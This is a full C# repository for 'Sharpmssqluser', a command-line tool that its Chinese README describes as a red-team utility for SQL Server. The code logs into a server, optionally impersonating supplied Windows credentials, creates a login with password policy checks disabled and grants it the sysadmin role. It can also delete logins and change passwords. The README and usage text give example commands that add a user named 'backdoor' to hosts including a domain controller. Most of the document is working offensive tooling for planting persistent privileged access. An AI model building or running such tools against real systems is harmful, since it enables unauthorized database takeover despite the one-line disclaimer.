├── .gitattributes ├── Properties └── AssemblyInfo.cs ├── README.md ├── Sharpmssqluser.sln ├── Sharpmssqluser.csproj ├── SqlConnection.cs ├── Program.cs └── UserManager.cs /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("Sharpmssqluser")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Sharpmssqluser")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("405fa531-bf34-4f4f-859a-4d22797ed308")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sharp MSSQL User Manager 2 | 3 | 红队专用的SQL Server用户管理工具,支持快速添加sysadmin权限用户、删除用户和修改密码。 4 | 5 | ## 🚀 功能特性 6 | 7 | - ✅ **添加用户并自动加入sysadmin角色** 8 | - ✅ **删除SQL Server登录用户** 9 | - ✅ **修改用户密码** 10 | - ✅ **支持集成身份验证和SQL身份验证** 11 | - ✅ **自动权限验证** 12 | - ✅ **清理数据库用户映射** 13 | 14 | ## 📋 使用方法 15 | 16 | ### 基本命令格式 17 | 18 | #### 1. 添加用户(自动加入sysadmin) 19 | ```bash 20 | # 使用SQL身份验证 21 | Sharpmssqluser.exe add -s 192.168.1.100 -u sa -p password123 -tu backdoor -tp P@ssw0rd123 22 | 23 | # 使用集成身份验证 24 | Sharpmssqluser.exe add -s 192.168.1.100 -i -tu backdoor -tp P@ssw0rd123 25 | ``` 26 | 27 | #### 2. 删除用户 28 | ```bash 29 | # 删除指定用户 30 | Sharpmssqluser.exe delete -s 192.168.1.100 -u sa -p password123 -tu backdoor 31 | ``` 32 | 33 | #### 3. 修改用户密码 34 | ```bash 35 | # 修改用户密码 36 | Sharpmssqluser.exe changepass -s 192.168.1.100 -u sa -p password123 -tu backdoor -np NewP@ssw0rd456 37 | ``` 38 | 39 | ## 📖 参数说明 40 | 41 | ### 全局参数 42 | - `-s, --server`: SQL Server地址 (必需) 43 | - `-u, --username`: 连接用户名 44 | - `-p, --password`: 连接密码 45 | - `-i, --integrated`: 使用windows身份验证 46 | - `-d, --database`: 目标数据库 (默认: master) 47 | 48 | ### 命令特定参数 49 | - `-tu, --target-user`: 目标用户名 (必需) 50 | - `-tp, --target-password`: 目标用户密码 (添加用户时必需) 51 | - `-np, --new-password`: 新密码 (修改密码时必需) 52 | 53 | --- 54 | 55 | **免责声明**: 此工具仅用于授权的安全测试目的,请勿用于非法活动。 -------------------------------------------------------------------------------- /Sharpmssqluser.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35919.96 d17.13 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Sharpmssqluser", "Sharpmssqluser.csproj", "{405FA531-BF34-4F4F-859A-4D22797ED308}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|x64.ActiveCfg = Debug|Any CPU 19 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Debug|x64.Build.0 = Debug|Any CPU 20 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|x64.ActiveCfg = Release|Any CPU 23 | {405FA531-BF34-4F4F-859A-4D22797ED308}.Release|x64.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {0F098403-32DC-4CF8-9242-7B07884E9378} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Sharpmssqluser.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {405FA531-BF34-4F4F-859A-4D22797ED308} 8 | Exe 9 | Sharpmssqluser 10 | Sharpmssqluser 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /SqlConnection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Threading.Tasks; 4 | using System.Security.Principal; 5 | using System.Runtime.InteropServices; 6 | 7 | namespace Sharpmssqluser 8 | { 9 | public class SqlConnectionManager 10 | { 11 | private readonly string _connectionString; 12 | private readonly string _domain; 13 | private readonly string _impersonateUser; 14 | private readonly string _impersonatePassword; 15 | private WindowsImpersonationContext _impersonationContext; 16 | 17 | public SqlConnectionManager(string server, string database, string username, string password, bool integratedSecurity, int timeout) 18 | { 19 | var builder = new SqlConnectionStringBuilder 20 | { 21 | DataSource = server, 22 | InitialCatalog = database, 23 | ConnectTimeout = timeout 24 | }; 25 | 26 | if (integratedSecurity) 27 | { 28 | builder.IntegratedSecurity = true; 29 | 30 | // Check if username contains domain info for impersonation 31 | if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password)) 32 | { 33 | if (username.Contains("\\")) 34 | { 35 | var parts = username.Split('\\'); 36 | _domain = parts[0]; 37 | _impersonateUser = parts[1]; 38 | } 39 | else 40 | { 41 | _domain = "."; // Local machine 42 | _impersonateUser = username; 43 | } 44 | _impersonatePassword = password; 45 | } 46 | } 47 | else 48 | { 49 | builder.UserID = username; 50 | builder.Password = password; 51 | } 52 | 53 | _connectionString = builder.ConnectionString; 54 | } 55 | 56 | public SqlConnection GetConnection() 57 | { 58 | // Start impersonation if needed 59 | if (!string.IsNullOrEmpty(_impersonateUser)) 60 | { 61 | StartImpersonation(); 62 | } 63 | 64 | return new SqlConnection(_connectionString); 65 | } 66 | 67 | public bool TestConnection() 68 | { 69 | try 70 | { 71 | using (var connection = GetConnection()) 72 | { 73 | connection.Open(); 74 | Console.WriteLine("[+] Database connection successful!"); 75 | return true; 76 | } 77 | } 78 | catch (Exception ex) 79 | { 80 | Console.WriteLine("[-] Database connection failed: " + ex.Message); 81 | return false; 82 | } 83 | finally 84 | { 85 | StopImpersonation(); 86 | } 87 | } 88 | 89 | public bool IsSysAdmin() 90 | { 91 | try 92 | { 93 | using (var connection = GetConnection()) 94 | { 95 | connection.Open(); 96 | 97 | using (var command = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin')", connection)) 98 | { 99 | var result = command.ExecuteScalar(); 100 | return Convert.ToInt32(result) == 1; 101 | } 102 | } 103 | } 104 | catch (Exception ex) 105 | { 106 | Console.WriteLine("[-] Failed to check privileges: " + ex.Message); 107 | return false; 108 | } 109 | finally 110 | { 111 | StopImpersonation(); 112 | } 113 | } 114 | 115 | public string GetCurrentUser() 116 | { 117 | try 118 | { 119 | using (var connection = GetConnection()) 120 | { 121 | connection.Open(); 122 | 123 | using (var command = new SqlCommand("SELECT SUSER_NAME()", connection)) 124 | { 125 | var result = command.ExecuteScalar(); 126 | return result != null ? result.ToString() : "Unknown"; 127 | } 128 | } 129 | } 130 | catch (Exception ex) 131 | { 132 | Console.WriteLine("[-] Failed to get current user: " + ex.Message); 133 | return "Unknown"; 134 | } 135 | finally 136 | { 137 | StopImpersonation(); 138 | } 139 | } 140 | 141 | private void StartImpersonation() 142 | { 143 | if (string.IsNullOrEmpty(_impersonateUser)) return; 144 | 145 | try 146 | { 147 | IntPtr token = IntPtr.Zero; 148 | bool success = LogonUser(_impersonateUser, _domain, _impersonatePassword, 149 | LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, out token); 150 | 151 | if (success) 152 | { 153 | WindowsIdentity identity = new WindowsIdentity(token); 154 | _impersonationContext = identity.Impersonate(); 155 | Console.WriteLine("[*] Impersonating user: " + _domain + "\\" + _impersonateUser); 156 | } 157 | else 158 | { 159 | Console.WriteLine("[-] Failed to impersonate user: " + _domain + "\\" + _impersonateUser); 160 | } 161 | 162 | if (token != IntPtr.Zero) 163 | CloseHandle(token); 164 | } 165 | catch (Exception ex) 166 | { 167 | Console.WriteLine("[-] Impersonation error: " + ex.Message); 168 | } 169 | } 170 | 171 | private void StopImpersonation() 172 | { 173 | if (_impersonationContext != null) 174 | { 175 | _impersonationContext.Undo(); 176 | _impersonationContext = null; 177 | } 178 | } 179 | 180 | public void Dispose() 181 | { 182 | StopImpersonation(); 183 | } 184 | 185 | // Windows API imports for impersonation 186 | [DllImport("advapi32.dll", SetLastError = true)] 187 | private static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, 188 | int dwLogonType, int dwLogonProvider, out IntPtr phToken); 189 | 190 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 191 | private extern static bool CloseHandle(IntPtr handle); 192 | 193 | private const int LOGON32_LOGON_NEW_CREDENTIALS = 9; 194 | private const int LOGON32_PROVIDER_DEFAULT = 0; 195 | } 196 | } -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Sharpmssqluser 4 | { 5 | class Program 6 | { 7 | static int Main(string[] args) 8 | { 9 | if (args.Length == 0) 10 | { 11 | ShowUsage(); 12 | return 1; 13 | } 14 | 15 | try 16 | { 17 | var config = ParseArguments(args); 18 | if (config == null) 19 | { 20 | ShowUsage(); 21 | return 1; 22 | } 23 | 24 | return ExecuteCommand(config); 25 | } 26 | catch (Exception ex) 27 | { 28 | Console.WriteLine("[-] Execution failed: " + ex.Message); 29 | return 1; 30 | } 31 | } 32 | 33 | static void ShowUsage() 34 | { 35 | Console.WriteLine("Usage:"); 36 | Console.WriteLine(" Add User:"); 37 | Console.WriteLine(" Sharpmssqluser.exe add -s [-u ] [-p ] [-i] -tu -tp "); 38 | Console.WriteLine(); 39 | Console.WriteLine(" Delete User:"); 40 | Console.WriteLine(" Sharpmssqluser.exe delete -s [-u ] [-p ] [-i] -tu "); 41 | Console.WriteLine(); 42 | Console.WriteLine(" Change Password:"); 43 | Console.WriteLine(" Sharpmssqluser.exe changepass -s [-u ] [-p ] [-i] -tu -np "); 44 | Console.WriteLine(); 45 | Console.WriteLine("Parameters:"); 46 | Console.WriteLine(" -s SQL Server address"); 47 | Console.WriteLine(" -u Connection username (or DOMAIN\\username with -i)"); 48 | Console.WriteLine(" -p Connection password"); 49 | Console.WriteLine(" -i Use integrated authentication"); 50 | Console.WriteLine(" -tu Target username"); 51 | Console.WriteLine(" -tp Target user password"); 52 | Console.WriteLine(" -np New password"); 53 | Console.WriteLine(); 54 | Console.WriteLine("Examples:"); 55 | Console.WriteLine(" Sharpmssqluser.exe add -s 192.168.1.100 -u sa -p password123 -tu backdoor -tp P@ssw0rd123"); 56 | Console.WriteLine(" Sharpmssqluser.exe delete -s 192.168.1.100 -i -tu backdoor"); 57 | Console.WriteLine(" Sharpmssqluser.exe add -s DC01.corp.local -i -u CORP\\sqladmin -p domain123 -tu backdoor -tp P@ssw0rd123"); 58 | } 59 | 60 | static Config ParseArguments(string[] args) 61 | { 62 | var config = new Config(); 63 | 64 | if (args.Length < 1) 65 | return null; 66 | 67 | config.Command = args[0].ToLower(); 68 | 69 | for (int i = 1; i < args.Length; i++) 70 | { 71 | switch (args[i].ToLower()) 72 | { 73 | case "-s": 74 | if (i + 1 < args.Length) config.Server = args[++i]; 75 | break; 76 | case "-u": 77 | if (i + 1 < args.Length) config.Username = args[++i]; 78 | break; 79 | case "-p": 80 | if (i + 1 < args.Length) config.Password = args[++i]; 81 | break; 82 | case "-i": 83 | config.IntegratedAuth = true; 84 | break; 85 | case "-tu": 86 | if (i + 1 < args.Length) config.TargetUser = args[++i]; 87 | break; 88 | case "-tp": 89 | if (i + 1 < args.Length) config.TargetPassword = args[++i]; 90 | break; 91 | case "-np": 92 | if (i + 1 < args.Length) config.NewPassword = args[++i]; 93 | break; 94 | } 95 | } 96 | 97 | // Validate required parameters 98 | if (string.IsNullOrEmpty(config.Server)) 99 | { 100 | Console.WriteLine("[-] Error: Must specify server address (-s)"); 101 | return null; 102 | } 103 | 104 | if (string.IsNullOrEmpty(config.TargetUser)) 105 | { 106 | Console.WriteLine("[-] Error: Must specify target username (-tu)"); 107 | return null; 108 | } 109 | 110 | if (config.Command == "add" && string.IsNullOrEmpty(config.TargetPassword)) 111 | { 112 | Console.WriteLine("[-] Error: Must specify target user password when adding user (-tp)"); 113 | return null; 114 | } 115 | 116 | if (config.Command == "changepass" && string.IsNullOrEmpty(config.NewPassword)) 117 | { 118 | Console.WriteLine("[-] Error: Must specify new password when changing password (-np)"); 119 | return null; 120 | } 121 | 122 | if (!config.IntegratedAuth && (string.IsNullOrEmpty(config.Username) || string.IsNullOrEmpty(config.Password))) 123 | { 124 | Console.WriteLine("[-] Error: Must specify username and password for non-integrated authentication (-u and -p)"); 125 | return null; 126 | } 127 | 128 | // For integrated auth with impersonation, both username and password are optional but if one is provided, both must be provided 129 | if (config.IntegratedAuth && !string.IsNullOrEmpty(config.Username) && string.IsNullOrEmpty(config.Password)) 130 | { 131 | Console.WriteLine("[-] Error: When using impersonation with integrated auth, both username and password must be provided"); 132 | return null; 133 | } 134 | 135 | return config; 136 | } 137 | 138 | static int ExecuteCommand(Config config) 139 | { 140 | try 141 | { 142 | Console.WriteLine("[*] Connecting to server: " + config.Server); 143 | 144 | var connectionManager = new SqlConnectionManager( 145 | config.Server, 146 | "master", 147 | config.Username ?? "", 148 | config.Password ?? "", 149 | config.IntegratedAuth, 150 | 30); 151 | 152 | if (!connectionManager.TestConnection()) 153 | { 154 | Console.WriteLine("[-] Connection failed, please check connection parameters"); 155 | return 1; 156 | } 157 | 158 | var currentUser = connectionManager.GetCurrentUser(); 159 | var isSysAdmin = connectionManager.IsSysAdmin(); 160 | 161 | Console.WriteLine("[*] Current user: " + currentUser); 162 | Console.WriteLine("[*] SysAdmin privileges: " + (isSysAdmin ? "Yes" : "No")); 163 | 164 | if (!isSysAdmin && config.Command == "add") 165 | { 166 | Console.WriteLine("[-] Warning: Current user does not have sysadmin privileges, operation may fail"); 167 | } 168 | 169 | var userManager = new UserManager(connectionManager); 170 | bool success = false; 171 | 172 | switch (config.Command) 173 | { 174 | case "add": 175 | Console.WriteLine("[*] Preparing to add user: " + config.TargetUser); 176 | success = userManager.AddUserWithSysAdmin(config.TargetUser, config.TargetPassword, false); 177 | if (success) 178 | { 179 | Console.WriteLine("[+] User '" + config.TargetUser + "' added successfully and granted sysadmin role!"); 180 | } 181 | break; 182 | 183 | case "delete": 184 | Console.WriteLine("[*] Preparing to delete user: " + config.TargetUser); 185 | success = userManager.DeleteUser(config.TargetUser, false); 186 | if (success) 187 | { 188 | Console.WriteLine("[+] User '" + config.TargetUser + "' deleted successfully!"); 189 | } 190 | break; 191 | 192 | case "changepass": 193 | Console.WriteLine("[*] Preparing to change user password: " + config.TargetUser); 194 | success = userManager.ChangePassword(config.TargetUser, config.NewPassword, false); 195 | if (success) 196 | { 197 | Console.WriteLine("[+] Password for user '" + config.TargetUser + "' changed successfully!"); 198 | } 199 | break; 200 | 201 | default: 202 | Console.WriteLine("[-] Error: Unsupported command '" + config.Command + "'"); 203 | return 1; 204 | } 205 | 206 | return success ? 0 : 1; 207 | } 208 | catch (Exception ex) 209 | { 210 | Console.WriteLine("[-] Execution failed: " + ex.Message); 211 | return 1; 212 | } 213 | } 214 | } 215 | 216 | class Config 217 | { 218 | public string Command { get; set; } 219 | public string Server { get; set; } 220 | public string Username { get; set; } 221 | public string Password { get; set; } 222 | public bool IntegratedAuth { get; set; } 223 | public string TargetUser { get; set; } 224 | public string TargetPassword { get; set; } 225 | public string NewPassword { get; set; } 226 | } 227 | } -------------------------------------------------------------------------------- /UserManager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | 5 | namespace Sharpmssqluser 6 | { 7 | public class UserManager 8 | { 9 | private readonly SqlConnectionManager _connectionManager; 10 | 11 | public UserManager(SqlConnectionManager connectionManager) 12 | { 13 | _connectionManager = connectionManager; 14 | } 15 | 16 | /// 17 | /// Add SQL Server login user and grant sysadmin role 18 | /// 19 | public bool AddUserWithSysAdmin(string username, string password, bool hideOutput) 20 | { 21 | try 22 | { 23 | using (var connection = _connectionManager.GetConnection()) 24 | { 25 | connection.Open(); 26 | 27 | // Check if user already exists 28 | if (UserExists(connection, username)) 29 | { 30 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' already exists"); 31 | return false; 32 | } 33 | 34 | // Get SQL Server version 35 | var version = GetSqlServerVersion(connection); 36 | if (!hideOutput) Console.WriteLine("[*] SQL Server Version: " + version); 37 | 38 | // Create login user 39 | var createLoginSql = string.Format(@" 40 | CREATE LOGIN [{0}] 41 | WITH PASSWORD = '{1}', 42 | DEFAULT_DATABASE = [master], 43 | CHECK_EXPIRATION = OFF, 44 | CHECK_POLICY = OFF", username, password.Replace("'", "''")); 45 | 46 | using (var command = new SqlCommand(createLoginSql, connection)) 47 | { 48 | command.ExecuteNonQuery(); 49 | } 50 | 51 | if (!hideOutput) Console.WriteLine("[+] Successfully created login user: " + username); 52 | 53 | // Add to sysadmin role - choose syntax based on version 54 | bool addRoleSuccess = false; 55 | 56 | // Try new syntax first (SQL Server 2012+) 57 | try 58 | { 59 | var newSyntaxSql = string.Format("ALTER SERVER ROLE [sysadmin] ADD MEMBER [{0}]", username); 60 | using (var command = new SqlCommand(newSyntaxSql, connection)) 61 | { 62 | command.ExecuteNonQuery(); 63 | addRoleSuccess = true; 64 | if (!hideOutput) Console.WriteLine("[+] Added to sysadmin role using new syntax"); 65 | } 66 | } 67 | catch 68 | { 69 | // New syntax failed, use legacy syntax (SQL Server 2008 compatible) 70 | try 71 | { 72 | var oldSyntaxSql = string.Format("EXEC sp_addsrvrolemember '{0}', 'sysadmin'", username.Replace("'", "''")); 73 | using (var command = new SqlCommand(oldSyntaxSql, connection)) 74 | { 75 | command.ExecuteNonQuery(); 76 | addRoleSuccess = true; 77 | if (!hideOutput) Console.WriteLine("[+] Added to sysadmin role using legacy syntax"); 78 | } 79 | } 80 | catch (Exception ex) 81 | { 82 | if (!hideOutput) Console.WriteLine("[-] Failed to add to sysadmin role: " + ex.Message); 83 | } 84 | } 85 | 86 | if (!addRoleSuccess) 87 | { 88 | if (!hideOutput) Console.WriteLine("[-] Unable to add user to sysadmin role"); 89 | return false; 90 | } 91 | 92 | if (!hideOutput) Console.WriteLine("[+] Successfully added user '" + username + "' to sysadmin role"); 93 | 94 | // Verify privileges 95 | if (VerifyUserSysAdmin(connection, username)) 96 | { 97 | if (!hideOutput) Console.WriteLine("[+] Privilege verification successful: " + username + " has sysadmin privileges"); 98 | return true; 99 | } 100 | else 101 | { 102 | if (!hideOutput) Console.WriteLine("[-] Privilege verification failed: " + username); 103 | return false; 104 | } 105 | } 106 | } 107 | catch (Exception ex) 108 | { 109 | if (!hideOutput) Console.WriteLine("[-] Failed to add user: " + ex.Message); 110 | return false; 111 | } 112 | } 113 | 114 | /// 115 | /// Delete SQL Server login user 116 | /// 117 | public bool DeleteUser(string username, bool hideOutput) 118 | { 119 | try 120 | { 121 | using (var connection = _connectionManager.GetConnection()) 122 | { 123 | connection.Open(); 124 | 125 | // Check if user exists 126 | if (!UserExists(connection, username)) 127 | { 128 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' does not exist"); 129 | return false; 130 | } 131 | 132 | // Remove user database mappings (if any) 133 | RemoveUserDatabaseMappings(connection, username, hideOutput); 134 | 135 | // Delete login user 136 | var dropLoginSql = string.Format("DROP LOGIN [{0}]", username); 137 | 138 | using (var command = new SqlCommand(dropLoginSql, connection)) 139 | { 140 | command.ExecuteNonQuery(); 141 | } 142 | 143 | if (!hideOutput) Console.WriteLine("[+] Successfully deleted user: " + username); 144 | return true; 145 | } 146 | } 147 | catch (Exception ex) 148 | { 149 | if (!hideOutput) Console.WriteLine("[-] Failed to delete user: " + ex.Message); 150 | return false; 151 | } 152 | } 153 | 154 | /// 155 | /// Change user password 156 | /// 157 | public bool ChangePassword(string username, string newPassword, bool hideOutput) 158 | { 159 | try 160 | { 161 | using (var connection = _connectionManager.GetConnection()) 162 | { 163 | connection.Open(); 164 | 165 | // Check if user exists 166 | if (!UserExists(connection, username)) 167 | { 168 | if (!hideOutput) Console.WriteLine("[-] User '" + username + "' does not exist"); 169 | return false; 170 | } 171 | 172 | // Change password 173 | var changePasswordSql = string.Format(@" 174 | ALTER LOGIN [{0}] 175 | WITH PASSWORD = '{1}'", username, newPassword.Replace("'", "''")); 176 | 177 | using (var command = new SqlCommand(changePasswordSql, connection)) 178 | { 179 | command.ExecuteNonQuery(); 180 | } 181 | 182 | if (!hideOutput) Console.WriteLine("[+] Successfully changed password for user '" + username + "'"); 183 | return true; 184 | } 185 | } 186 | catch (Exception ex) 187 | { 188 | if (!hideOutput) Console.WriteLine("[-] Failed to change password: " + ex.Message); 189 | return false; 190 | } 191 | } 192 | 193 | /// 194 | /// Get SQL Server version information 195 | /// 196 | private string GetSqlServerVersion(SqlConnection connection) 197 | { 198 | try 199 | { 200 | using (var command = new SqlCommand("SELECT @@VERSION", connection)) 201 | { 202 | var result = command.ExecuteScalar(); 203 | return result != null ? result.ToString() : "Unknown Version"; 204 | } 205 | } 206 | catch 207 | { 208 | return "Unknown Version"; 209 | } 210 | } 211 | 212 | /// 213 | /// Check if user exists 214 | /// 215 | private bool UserExists(SqlConnection connection, string username) 216 | { 217 | var checkUserSql = "SELECT COUNT(*) FROM sys.server_principals WHERE name = @username AND type = 'S'"; 218 | 219 | using (var command = new SqlCommand(checkUserSql, connection)) 220 | { 221 | command.Parameters.AddWithValue("@username", username); 222 | var result = command.ExecuteScalar(); 223 | return Convert.ToInt32(result) > 0; 224 | } 225 | } 226 | 227 | /// 228 | /// Verify if user has sysadmin privileges 229 | /// 230 | private bool VerifyUserSysAdmin(SqlConnection connection, string username) 231 | { 232 | var verifySql = @"SELECT IS_SRVROLEMEMBER('sysadmin', @username)"; 233 | 234 | using (var command = new SqlCommand(verifySql, connection)) 235 | { 236 | command.Parameters.AddWithValue("@username", username); 237 | var result = command.ExecuteScalar(); 238 | return Convert.ToInt32(result) == 1; 239 | } 240 | } 241 | 242 | /// 243 | /// Remove user database mappings 244 | /// 245 | private void RemoveUserDatabaseMappings(SqlConnection connection, string username, bool hideOutput) 246 | { 247 | try 248 | { 249 | // Get all user databases (excluding system databases) 250 | var getDatabasesSql = @" 251 | SELECT name 252 | FROM sys.databases 253 | WHERE database_id > 4 254 | AND state = 0"; // Only process online databases 255 | 256 | var databases = new List(); 257 | 258 | using (var command = new SqlCommand(getDatabasesSql, connection)) 259 | { 260 | using (var reader = command.ExecuteReader()) 261 | { 262 | while (reader.Read()) 263 | { 264 | databases.Add(reader.GetString(0)); 265 | } 266 | } 267 | } 268 | 269 | // Check and remove user mappings from each database 270 | foreach (var dbName in databases) 271 | { 272 | try 273 | { 274 | // Check if user exists in this database 275 | var checkUserSql = string.Format(@" 276 | USE [{0}]; 277 | SELECT COUNT(*) FROM sys.database_principals 278 | WHERE name = '{1}' AND type = 'S'", dbName, username.Replace("'", "''")); 279 | 280 | using (var command = new SqlCommand(checkUserSql, connection)) 281 | { 282 | var userCount = Convert.ToInt32(command.ExecuteScalar()); 283 | if (userCount > 0) 284 | { 285 | // User exists, remove mapping 286 | var dropUserSql = string.Format("USE [{0}]; DROP USER [{1}]", dbName, username); 287 | 288 | using (var dropCommand = new SqlCommand(dropUserSql, connection)) 289 | { 290 | dropCommand.ExecuteNonQuery(); 291 | } 292 | 293 | if (!hideOutput) Console.WriteLine("[+] Removed user mapping from database '" + dbName + "'"); 294 | } 295 | } 296 | } 297 | catch (Exception dbEx) 298 | { 299 | if (!hideOutput) Console.WriteLine("[!] Warning while processing database '" + dbName + "': " + dbEx.Message); 300 | } 301 | } 302 | } 303 | catch (Exception ex) 304 | { 305 | if (!hideOutput) Console.WriteLine("[!] Warning while cleaning database mappings: " + ex.Message); 306 | } 307 | } 308 | } 309 | } --------------------------------------------------------------------------------